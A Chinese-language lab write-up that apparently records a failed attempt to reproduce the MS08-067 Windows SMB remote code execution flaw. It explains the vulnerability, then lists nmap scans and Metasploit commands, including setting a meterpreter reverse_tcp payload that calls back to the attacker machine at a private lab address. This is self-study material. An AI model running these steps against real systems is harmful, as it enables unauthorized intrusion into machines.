远程代码执行MS08-067漏洞复现失败过程
远程代码执行MS08-067漏洞复现失败过程
漏洞描述:
如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码。 在微软服务器系统上,攻击者可能未经身份验证即可利用此漏洞运行任意代码。 此漏洞可能用于进行蠕虫攻击。
漏洞原理:
MS08-067漏洞是通过MSRPC over SMB通道调用Server服务程序中的NetPathCanonicalize函数时触发的,而NetPathCanonicalize函数在远程访问其他主机时,会调用NetpwPathCanonicalize函数,对远程访问的路径进行规范化,而在NetpwPathCanonicalize函数中存在的逻辑错误,造成栈缓冲区可被溢出,而获得远程代码执行(Remote Code Execution)。原文链接:
影响版本:
Windows 2000、XP、Server 2003、Vista、Server 2008、Windows 7 Beta
漏洞复现:
攻击机:kali-linux-2020.2-installer-amd64(IP:192.168.161.130)
靶机:windows_server_2008_r2_enterprise_with_sp1_x64(IP:192.168.161.129)
复现过程:
主机发现
打开Kali Linux,输入命:nmap 192.168.161.1/24 扫描目标网段,获取目标信息。
命令:nmap -O 192.168.161.129 获取目标操作系统信息
开启Kali中的MSF攻击框架,命令:msfconsole 这将显示攻击框架的版本信息攻击载荷的数量等
搜索攻击模块:search ms08-067
模块使用:
(1)use exploit/windows/smb/ms08_067_netapi
(2)show options
(3)show targets 查看该模块支持攻击的操作系统
设置目标IP等模块参数:
一般在上面的步骤需要设置载荷:1.set payload windows/meterpreter/reverse_tcp 设置攻击机监听IP和端口:2.set lhost 192.168.161.130 3.set lport 4444 设置目标系统: 4.set target <id>
但我这里都已经默认设置好的,所以就设置一个目标IP就行了。
值得一提的是,在show targets里面,我并没有发现针对Windows-Server-2008-R2的id编号,所以这里就没有set target,直接run。
很显然,实验复现失败了。不确定是因为该模块并没有针对这个系统的exploit,还是因为这个系统版本是中文的,而模块语言支持默认是英文的。看来得装个XP或者2003再做一次实验才行。